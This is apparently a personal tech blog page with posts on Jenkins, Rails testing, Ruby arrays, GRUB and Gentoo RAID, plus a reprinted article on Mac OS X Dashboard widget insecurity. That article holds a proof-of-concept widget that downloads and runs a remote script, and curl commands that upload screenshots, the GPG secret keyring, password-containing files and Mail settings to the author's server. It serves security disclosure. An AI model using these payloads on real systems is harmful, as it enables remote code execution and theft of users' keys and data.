geisterstunde.org

Hacking on stuff…

Jenkins CI, Rails with RVM and Capybara Cucumber Tests

No Comments »

Our tests are done mainly using Cucumber. We believe in Cucumber, because we can test the whole stack of the application: JavaScript logic, view logic, controller, model and database all in one take. You may disagree with this, but that is not the point of this article.

We have set up the Cucumber tests to work with Capybara. When invoking Cucumber, a browser window opens and it’s like someone is clicking and inserting things on the page much like a user would do (I call it “Browser-TV”). We wanted to be able to use continuous integration with Jenkins and still be able to test all the Cucumber tests. The Jenkins Server is headless, meaning that there is no X Server running on the machine that could open the browser and click around on the page.

We’re also using RVM in our project and it took a little time to set that up on the Jenkins Server as well.

Installing Jenkins (Ubuntu 10.04 Server)

To begin with, we had our normal development environment setup on the server (databases and everything) before we started to put Jenkins on top. This way we made sure that the databases were working. The machines runs Ubuntu 10.04 Server edition, the setup of Jenkins was really straight forward:

wget -q -O - http://pkg.jenkins-ci.org/debian/jenkins-ci.org.key | sudo apt-key add -
sudo sh -c 'echo deb http://pkg.jenkins-ci.org/debian binary/ >
  /etc/apt/sources.list.d/jenkins.list'
sudo aptitude update
sudo aptitude install jenkins

Installing RVM

After that go ahead and login to your server and become the Jenkins user. Within the shell, just install a default RVM installation as described on the RVM page. There seem to be a couple of options out there for integrating RVM with Jenkins, but none of them really worked smoothly for me. Since I’m a command line guy, I hit it off like this in Jenkins:


It is a bit ugly to read, but that really doesn’t matter to me, it simply works.

Getting the Cucumber tests to pass

In order to test the Cucumber features that rely on the browser to be opened, you first have to install a virtual framebuffer X-Server and of course the browser that you are testing in (in our case Firefox):

sudo apt-get install firefox xvfb

Test if you can start the Xvfb Server:

Xvfb :99 -ac -screen 0 1024x768x16
export DISPLAY=:99 firefox

If everything goes well and Firefox doesn’t complain, then your Xvfb setup is working. Next it’s a good idea to make a start- and stop-script for Xvfb and place it into /etc/init.d/xvfb:

XVFB=/usr/bin/Xvfb
 XVFBARGS=":99.0 -ac -screen 0 1024x768x16"
 PIDFILE=~/xvfb.pid
 case "$1" in
 start)
 echo -n "Starting virtual X frame buffer: Xvfb"
 /sbin/start-stop-daemon --start --quiet --pidfile $PIDFILE --make-pidfile
    --background --exec $XVFB -- $XVFBARGS
 echo "."
 ;;
 stop)
 echo -n "Stopping virtual X frame buffer: Xvfb"
 /sbin/start-stop-daemon --stop --quiet --pidfile $PIDFILE
 echo "."
 ;;
 restart)
 $0 stop
 $0 start
 ;;
 *)
 echo "Usage: /etc/init.d/xvfb {start|stop|restart}"
 exit 1
 esac
 exit 0

Make that script executable for everyone. Now you are pretty much ready to add three tasks to your Jenkins build:

The three steps are: starting the Xvfb server, executing your Cucumber tests and passing along the display variable and lastly stopping the Xvfb server again.

And there you have it! Your headless Capybara-Cucumber tests dones by Jenkins.

Drag and drop using capybara and selenium web driver through cucumber

No Comments »

To better test our application, we are writing cucumber tests as every good Rails developer should do. However, the standard cucumber setup cannot work easily with sites that rely on heavy JavaScript usage.Therefore we have a setup that uses capybara and the selenium web driver to test the JavaScript. This setup actually causes a Firefox browser to be opened and controlled through the web driver. It then looks to the application as someone is actually clicking and entering all the stuff via the browser.

In one part of our application we are doing some drag and drop using the jQuery UI drag and drop widget. This also needed to be tested. It took me a while to figure all the parts out, so here are the different parts that tie it all together.

So, here is my feature definition:

@javascript
...
When I drag the first applicant to the first group
Then I should have 1 applicant in the groups

This is the pretty straight forward definition of what should be done. Next thing is the actual definition of the step I just defined:

When /^I drag the first applicant to the first group$/ do
  first_applicant = page.find_by_id('applicant_0').find('li')
  first_group = page.find_by_id('group_0')
  first_applicant.drag_to(first_group)
end

So, the most difficult part for me was to find out where your elements are in the DOM and access them. The last thing is to call the drag_to() function that takes care of actually dragging your element.

The second part of checking how many applicants are in the groups is done through simply querying the database. Here is the definition:

Then /^I should have (d+) applicants? in the selection groups$/ do |applicant_count|
  SelectionGroupApplicant.all.count.should == applicant_count.to_i
end

Ruby and arrays

No Comments »

Everything seems to be so easy in Ruby. Therefore I though, the following code would work out nicely:

people = People.find(:all)
people_array = Array.new

logger.debug("LOG: " + people_array.length.to_s)

people.each do |person|
  people_array << person
end

logger.debug("LOG: " + people_array.length.to_s)

people_array.each do |person|
  people_array.delete(person)
end

logger.debug("LOG: " + people_array.length.to_s)

However, it produced the following (unexpected) output:

LOG: 0
LOG: 60
LOG: 30

What I expected was the following: add people to an array and then remove them again, so that the last log statement would tell me, that the array’s length would be 0. It turned out, that one shouldn’t mess with an array one is itterating over. Of course after thinking about it for a little while, it really makes sense.

There are a couple of ugly solutions to the problem, here is one where we create two arrays, iterate over the one and delete from the other one:

people = People.find(:all)
people_array = Array.new
people_array2 = Array.new

logger.debug("LOG: " + people_array.length.to_s)

people.each do |person|
  people_array << person
  people_array2 << person
end

logger.debug("LOG: " + people_array.length.to_s)  

people_array2.each do |person|
  people_array.delete(person)
end

logger.debug("LOG: " + people_array.length.to_s)

Actually for my case, the removal of people from the array after adding them had a lot to do with removing people from the array when various conditions where met. After understanding the problem, the code for removing the peoeple from the array again would be a call to people_array.delete_if() like the following code snippet demonstrates:

people = People.find(:all)
people_array = Array.new

logger.debug("LOG: " + people_array.length.to_s)

people.each do |person|
  people_array << person
end

logger.debug("LOG: " + people_array.length.to_s)

people_array.delete_if { |p| true } # or whatever condition you prefer

logger.debug("LOG: " + people_array.length.to_s)

As I learned, the delete_if statement itselfs iterates over the array and removes the elements that the condition matches for.

So, today I did not only learn the obvious thing from the example, but also to be more careful when coding in Ruby. Even though the language seems to make eveything dead-simply, somtimes there are some pitfalls to it.

P.S.: the ruby array documentation is always a nice read: read it now

Underwater Telecommunication Cables

No Comments »

I have come across the following image. I’ve been interested transcontinental telecommunication cables all along, so I really liked to look at the picture that I want to share with you (the image is 6MB).

Rails Logging to Firebug

No Comments »

Everyone wants to log stuff when they are coding. I wanted to find a way to log from my controllers, models or views directly to the browser. What I found was a pretty nice way to log to the Firebug console in the following article: http://fuelyourcoding.com/set-rails-logging-on-fire/

Unfortunately that article was written pre Rails 3, so some adjusting was needed.

The first part is to get the firebug_logger.rb file from here: https://gist.github.com/252575 and putting it into the project’s lib/rack directory (create the directory if you need to).

Next, tell your application to load the file when it is booting.

config/boot.rb:

require File.expand_path('lib/rack/firebug_logger')

Next, we only want to have our logging spill out when we are in the development environment. No need for everyone in the world to see our debug messages.

config/environments/development.rb:

config.middleware.use ::Rack::FirebugLogger

The last step is to add a method into your application controller so that it is accessible from everywhere in your project.

app/controllers/application_controller.rb:

helper_method :firebug
private
def firebug(message, type = :debug)
  request.env['firebug.logs'] ||= []
  request.env['firebug.logs'] << [type.to_sym, message.to_s]
end

And now we can start to use the logging in our code:

firebug "hello world!"

PowerEdge R210 and Ubuntu 10.04 Boot Problems

No Comments »

Today I set up a new Ubuntu 10.04 Server on a Dell PowerEdge R210. The installation went smoothly. However, when booting for the first time, after waiting for some time, the system would drop me into a busybox shell with not much to see. Having seen this problem often, I thought that the /dev/sda1 device would not be there because of missing kernel modules.

You can see the output in the picture on the right.

However, when checking /dev, I surely found /dev/sda1. After some poking around I found out that the integrated RAID controller needs some more time to warm up and the kernel didn’t want to wait for the disks to come available through the RAID controller any longer.

So, the solution is to add the ‘rootdelay’ parameter to the kernel option into the /boot/grub/grub.cfg

linux   /boot/vmlinuz-2.6.32-26-generic root=/dev/sda1 rootdelay=60 ro single

This instructs the kernel to wait for 60 seconds before trying to enter the init process. This fixed the problem and I was able to boot into the newly installed system.

In order to make this change appear in all grub entries when Ubuntu does a kernel upgrade, you have to edit the file /etc/default/grub and also add that parameter to the GRUB_CMDLINE_LINUX variable.

GRUB_CMDLINE_LINUX="rootdelay=60"

After that, run ‘update-grub’ and you can double-check that your changes appear in /etc/grub/grub.cfg.

Populator Gem and PostgreSQL

No Comments »

For a new project, I set up the cool and shiny Populator gem to populate my tables with some generated data (together with the ‘Faker‘ gem). The Populator gem was supposed to insert stuff into a table called Addresses. The table of course had an ‘id’ column which is set increment automatically. Somehow the Populator gem bypassed the incrementation of the sequence, therefore a subsequent insert into the table would fail with the following error:

PGError: ERROR:  duplicate key value violates unique constraint "addresses_pkey"
DETAIL:  Key (id)=(3) already exists.
: INSERT INTO "addresses" ("street", "city", "country_id", "location", "state", "zip") \
  VALUES ('476 Royal Views', 'Watsicaborough', 1, NULL, NULL, '90591') RETURNING "id"

The data inserted by the Populator gem however has a correct sequence. This is pretty unfortunate, the Populator gem does not seem to be so cool and shiny when working with PostgreSQL database as a backend. Of course you can overcome the problem by issuing something like this after every time you step out of your populator block:

select setval('addresses_id_seq', (select max(id) + 1 from addresses));

For me the best way was to avoid the Populator gem altogether and move to good old ruby code:

500.times do
  ...
end

Antivirus tips from an expert…

No Comments »

A few days ago I was interviewed for a german news site as an antivirus expert, here is the resulting video…

Apple Dashboard Widget Insecurity

No Comments »

This article written by me appeared in the autum 2008 issue of the 2600 Magazine

  • 0×00 Disclaimer
  • 0×10 Introduction to dashboard widgets
  • 0×20 Dashboard’s security model
  • 0×30 What’s wrong with the security model
  • 0×40 Exploitation concept
  • 0×50 Proof of concept
  • 0×60 Endless possibilities
  • 0×70 Making things easy for you
  • 0×80 Wrap up

0×00 Disclaimer

The information presented in this article is for information and demonstration purposes only. I cannot be held liable for any damage you cause using the information presented here. Please use the knowledge wisely and don’t do any harm that you don’t want to have done to yourself.

0×10 Introduction to dashboard widgets

In Mac OS X 10.4, Apple introduced a feature called “Dashboard”. The idea of dashboard is, that you have a number of applications readily available for your use. These applications shall not be full blown applications, but only small tools like calculators, converters, clocks etc. One very important aspect of these so called “widgets” is their ability to fetch content from the internet in order to have little applications that display the latest news from an RSS feed, the current weather condition, stock quotes etc. The actual dashboard with the widgets on them can be activated and is then shown as an additional layer on top of the Mac OS X desktop.

Not only are the widgets able to pull content from the internet, the widgets may also issue system commands. Thus you can pull content from the internet and process it with standard UNIX tools that come with Mac OS X.

Dashboard widgets are programmed mainly by using HTML and JavaScript. The JavaScript engine has a couple of extensions to it which are specific for widgets.

0×20 Dashboard’s security model

As you have read the introduction part of this article, you have probably already thought of all the things you can do by combining internet access of a dashboard widget and the ability to execute system commands, this is the whole idea about these widgets. However there is a distinct security model underlying the dashboard application that executes the individual widgets.
The first security measure is the fact that the widgets are only executed with the rights that the user has that is currently using the dashboard widget. So there is no system level access to make installing root kits as easy as replacing /bin/bash with a modified version from some server.
The second security measure is a file called Info.plist. This XML file has to be supplied with any valid dashboard widget and is common not only to widgets on the Mac OS X operating system. In the XML file there are a couple of information, e.g. the name and version of the widget, some information for the initialization of the widget and so on. Additionally there are three important boolean parameters which are relevant to the security of widgets: AllowFileAccessOutsideOfWidget, AllowNetworkAccess, AllowSystem. These three parameters control whether your widget has access to files outside the widget’s path, if the widget is granted network access and if the widget is granted access to the command line utilities.

0×30 What’s wrong with the security model

Of course widgets are only executed with limited right, namely that of the user that is using the dashboard widget at the moment, thus denying access to a lot of system files. However, we are not really interested in creating yet another botnet through root kits that we install on the machine. What’s more valuable is user data. Since we may access the system with user privileges, we may edit/remove/create files within the user’s home directory (this includes such sensitive data as ~/.gnupg/secring.gpg [the place where the PGP private key is stored if the users uses PGP] and other such things, be creative).
Of course you might argue that this is not a problem specific to dashboard, but is a security risk that any application might pose. That is correct, however dashboard widgets are programs which are easily installed by a user and not much cared about from a security point of view. Another aspect of this is also: dashboard widgets are so very easily developed and deployed (more on that later).
The second aspect of security model is the Info.plist (also called a “property list” in Apple jargon). Usually the Info.plist is edited by the developer of the widget to give access to the resources that the widget needs in order for it to work. The Info.plist is bundled with the widget and normally never seen again by regular users. This means that the user again has to trust the widget’s developer to set the proper access permissions for the widget, the user usually has no control over widget’s setting after it has been installed on the system unless he/she edits the property list manually.

0×40 Exploitation concept

Taking into account that users usually don’t check the widget’s internal workings after downloading them and simply installing them and the fact that widgets are easily created using the new Dashcode application from Apple, the following scenario might be possible:
An attacker creates a widgets which is as simple as counting down the days until the olympic games in China start. The widget is small and downloaded by thousands of sports enthusiasts from around the world. The widget is always opened in the dashboard because it is so small and looks so innocent. In reality however, the attacker has granted the widget network access, file access and system access. Periodically (e.g. every time the widget updates the days until the event starts, or every time the user opens dashboard) the widget connects to a central or even distributed command and control server that sends new instructions to the widget which are downloaded and stored on the filesystem (maybe in the /tmp directory with some obscure name) and executed. In these instructions there may be anything, ranging from a local root exploit to really gain access to the system, or the instructions say that the system should forward any mail that the user has received to another account, or delete the content of the user’s documents directory (see below for more ideas).

0×50 Proof of concept

I have created a simple proof of concept. This proof of concept is a widget which looks for an instruction file on a server that is downloaded and executed. Currently the instruction file tells the widget to take a screenshot of the active screen and upload it to a server. The file may however contain any type of commands.
There are three parts to this proof of concept: of course there is the widget, there is the instruction command file and there is a small PHP script which takes the screenshot and stores it on the server.

0×51 The widget

The widget was created using Apples all new Dashcode application. The default “Hello, World!” widget was used and modified. Two new functions were created inside of the javascript file that dashcode creates by default. The first function is called nasty() and is the function responsible for downloading and executing the instruction file from the server. The second function is called dummyHandler() and is only used to make the widget.system() calls non-blocking.
As you can see, the nasty() function depends on the widget.system() calls to be allowed. In the three system calls the master.sh file is downloaded into the /tmp directory, made executable and then executed. If the dummyHandler() call would not be used, the whole widget would be locked up until the processes would be done. In case of a malicious widget, the widget would seem suspicious if it would lock up for too long.
As you can see I am using the program curl to download the instruction file. This is the part where we need system and network access for (AllowNetworkAccess and AllowSystem need to be true). For storing the instruction file outside the widget’s directory and executing it there we need the AllowFileAccessOutsideOfWidget directive to be true in the widget’s property list.

function nasty()
{
  if(window.widget)
  {
    widget.system("/usr/bin/curl -o /tmp/master.sh \
      http://www.geisterstunde.org/master.sh",dummyHandler);
    widget.system("/bin/chmod u+x /tmp/master.sh",dummyHandler);
    widget.system("/tmp/master.sh",dummyHandler);
  }
}

function dummyHandler()
{
}

The relevant entries in the Info.plist look like this:

<key>AllowFileAccessOutsideOfWidget</key>
<true/>
<key>AllowNetworkAccess</key>
<true/>
<key>AllowSystem</key>
<true/>

(make sure that you have set the HTTP_PROXY environment variable if you are behind a proxy, otherwise curl will fail)

0×52 The instruction file

The instruction file is straight forward. You can easily test it by executing it on your own Mac OS X system. Here we first execute the “logger” program to write something to the log files, after that we execute the “screencapture” tool (with appropriate parameters to turn of the sound and capturing the whole screen) and then upload the image to the server.

#!/bin/bash
/bin/echo "0wned by zeitgeist" | /usr/bin/logger

# For screen capturing and uploading
screencapture -Sx /tmp/screen.jpg
curl -F userfile=@/tmp/screen.jpg -F press=ok\

http://www.geisterstunde.org/upload.php

0×53 The upload PHP script

The PHP script on the server is straight forward. It creates a filename based on the md5 sum of the current time stamp to generate unique filenames and moves the uploaded file to the files/ directory. Make sure that the files/ directory is writable by the web server.

0×60 Endless possibilities

Here are a few ideas for other things one can do with user level access inside of the command file:

0×61 upload the ~/.gnupg/secring.gpg to get a user’s private GPG keys:

/usr/bin/curl -F userfile=@~/.gnupg/secring.gpg -F press=ok \

http://www.geisterstunde.org/upload.php

0×62 use the “mdfind” utility (command line front end to the Mac OS X Spotlight search engine) to look for all files containing the string “password” and upload these files

for filename in `mdfind password`
do
  if [[ -e $filename ]]
  then
    /usr/bin/curl -F userfile=@$filename -F press=ok \

http://www.geisterstunde.org/upload.php

  fi
done

0×63 look through the user’s ~/Library/ directory for interesting settings (address book content, iCal events, etc)

0×64 read the Mail settings into a file and (again) upload it to find out the user’s e-mail address, account type etc.

defaults read com.apple.Mail > /tmp/maildefaults.txt

if [[ -e "/tmp/maildefaults.txt"]]
then
  /usr/bin/curl -F userfile=@/tmp/maildefaults.txt -F press=ok \

http://www.geisterstunde.org/upload.php

fi

0×65 change the user’s default page in Safari:

defaults write com.apple.Safari HomePage "http://www.geisterstunde.org"

0×70 Making things easy for you

The usual way to deploy widgets is through the Apple widgets download site. When you want to publish a widget in the index on their website you submit your widget and some other information along with it. However, when a user wants to download the widget, he or she doesn’t download it from the Apple website, but from the author’s original website. I assume that Apple reviews the dashboard widgets before publishing them in their index, however if you are able to change the widget after it was indexed, there is no real trusting to the Apple widget index.
Another security feature that was added by Apple was the idea that after downloading a widget, it seemed like it wouldn’t be executed, but a window would ask you whether you would like to “keep” or “delete” the widget. In reality however, the widget (with possibly malicious code) would already be executed, even if the user hasn’t decided on “keeping” or “deleting” the widget yet. I have contacted Apple about this specific vulnerability but they haven’t replied yet.

0×80 Wrap up

The code examples presented in this articles may be downloaded from http://www.geisterstunde.org/widget The file badwidget.zip contains an example widgets which execute code from my server when clicked upon.
There is also a publicly accessible directory of screenshots (and other things I have captured) available under http://www.geisterstunde.org/files/ Please be aware if you deploy the example widget, a screenshot of your machine will be posted to the site.
I have also created a small tool called “WidgetInspector” (http://www.geisterstunde.org/widget/WidgetInspector.zip) which examines the widgets on your hard drive in terms of the security issues presented in this article.

Greetings to dorothea, macglove, mattjowil, alex, yin, frida, the Machackers and the CCC

Adding Software RAID to an existing Gentoo installation

No Comments »

Recently I installed a new server. After going through the usual installation steps using Gentoo 2006.1, I decided it would be a good idea for that machine to use software RAID before going into production. Unfortunately the system was already installed on one of the two disks and I didn’t want to install again with software RAID enabled. So I neede to add RAID level 1 capabilities (mirroring mode for best security) after the system has been installed. In the following I would like to outline the steps I have taken on the freshly installed Gentoo system.

Of course the first step is to install the linux software RAID tools and make sure that the appropriate options are compiled into your kernel. For adding RAID level 1 support into kernel 2.6.19 you will have to enable the following options:

-> Device Drivers
   -> Multi-device support (RAID and LVM)
      -> Multiple devices driver support (RAID and LVM) (MD [=y])
         -> RAID support (BLK_DEV_MD [=y])
            -> RAID-1 (mirroring) mode

Of course you also have to emerge the mdadm tools:

emerge mdadm

The layout on my first drive was the following:

fdisk -l /dev/sda

Disk /dev/sda: 250.0 GB, 250000000000 bytes
255 heads, 63 sectors/track, 30394 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *           1          50      401593+  83  Linux
/dev/sda2              51         300     2008125   82  Linux swap / Solaris
/dev/sda3             301       30394   241730055   83  Linux

It booted fine from this drive. The first step was to partition the second drive that should be used in the RAID exactly as the first drive. The only difference being, that the third partition should be of type “Linux raid autodetect” (type: fd when using fdisk). This is not mandatory, but it makes it easier for the kernel to see which partitions belong to the array.

My final partition on /dev/sdb was the following:

fdisk -l /dev/sdb

Disk /dev/sdb: 250.0 GB, 250000000000 bytes
255 heads, 63 sectors/track, 30394 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1          50      401593+  83  Linux
/dev/sdb2              51         300     2008125   82  Linux swap / Solaris
/dev/sdb3             301       30394   241730055   fd  Linux raid autodetect

My plan was to only put /dev/sda3 and /dev/sdb3 into a RAID 1 array, because it makes no sense to put SWAP space into an array, also I didn’t want to have the /boot partition (/dev/sda1 and /dev/sdb1) in an array.

So, after partitioning it is time to create the RAID device /dev/md0. Make sure that your kernel supports your desired RAID leve, I suggest that you reboot with the kernel and make sure that everything works as expected.

Of course for RAID 1 you need two disks. When creating the RAID array, we will not add /dev/sda3 and /dev/sdb3 at the same time, but only /dev/sdb3 and add /dev/sda3 later to play it save and always have a working system to go back to if things fail.

So, here finally the command for creating the RAID 1 array:

mdadm --create /dev/md0 --level=1 --raid-disks=2 missing /dev/sdb3

After this, you can check if the RAID array works with the following commands:

cat /proc/mdstat
mdadm --detail /dev/md0

Next you’ll have to tell the mdadm utility how your RAID array looks like and write that into /etc/mdadm.conf:

mdadm --detail --scan >> /etc/mdadm.conf

Have a look at what the previous command wrote into /etc/mdadm.conf and you’ll see that the RAID partitions are identified by their IDs.

Next it’s time to use the new RAID array. Put a file system on it!

mkfs.ext3 /dev/md0

Congratulations, you have just written data on your RAID array! Next it’s time to mount it:

mkdir /mnt/md0
mount /dev/md0 /mnt/md0

In the next step we will copy all the data from our current working system to the new RAID array:

cp -ax / /mnt/md0

So, now we can try if the RAID array comes up automatically upon boot. For this we will add the following entry to /etc/fstab:

/dev/md0   /mnt/md0   ext3   default   0 0

Also add the mdadm monitor daemon that comes with Gentoo to the default runlevel:

rc-update add mdadm default

Now it’s time to reboot. When the systems comes back up, verify with the “mount” command that your RAID array has been mounted to /mnt/md0.

If that worked correctly, now comes the big step where we will actually boot the system from /dev/md0. For this I had to change the root (/) entry in /etc/fstab to not have the root device at /dev/sda3 but at /dev/md0:

/dev/sda3   /   ext3   noatime   0 1

to:

/dev/md0   /   ext3   noatime   0 1

You’ll also have to add a kernel parameter to your /boot/grub/grub.conf if you are using grub. If you are using LILO you’ll have to figure out yourself how to tell LILO where your root partition is, shouldn’t be too hard. In grub you simply modify your boot entry to show something like the following:

title=Gentoo Linux 2.6.19-gentoo-r5
root (hd0,0)
kernel /boot/kernel-2.6.19-gentoo-r5 vga=791 root=/dev/md0

The important part here is root=/dev/md0. Take the appropriate steps that are needed to configure your boot manager and then reboot (hold your thumbs).

Upon reboot, chances are high that Gentoo complains about an empty /dev/ directory. If you are this far, botting from /dev/md0 as root device was successfully. Simply follow the steps which are given in the instruction and you are good to reboot again into your system.

If everything worked up until here, it’s time to add /dev/sda3 to the RAID array. For this you should first modify /dev/sda3 with fdisk to also have the “Linux raid autodetect” system (see above). After that is done, add the partition to the array:

mdadm --add /dev/md0 /dev/sda3

And watch it sync the array (this takes a while):

watch -n 1 "cat /proc/mdstat"

While it is syncing, you can add more SWAP to your system:

swapon /dev/sdb2

Verify that it’s there:

swapon -s

Note the priority: first /dev/sda2 and then /dev/sdb2 is used. Make it permanent by adding the /dev/sdb2 also to /etc/fstab:

/dev/sdb2   none   swap   sw   0 0

You can now go into /etc/mdadm.conf and edit the line “MAILADDR” and add your e-mail address there. Of course for this your mail system in /etc/ssmtp/ssmtp.conf (if you didn’t install a real e-mail server) has to be configured properly. You will now get changes in the RAID array e-mailed to you.

That’s it, reboot again and see that /dev/sda3 and /dev/sdb3 are together as the /dev/md0 RAID array and that you now have double the SWAP space as you had before.

Isn’t that great? It’s all free software!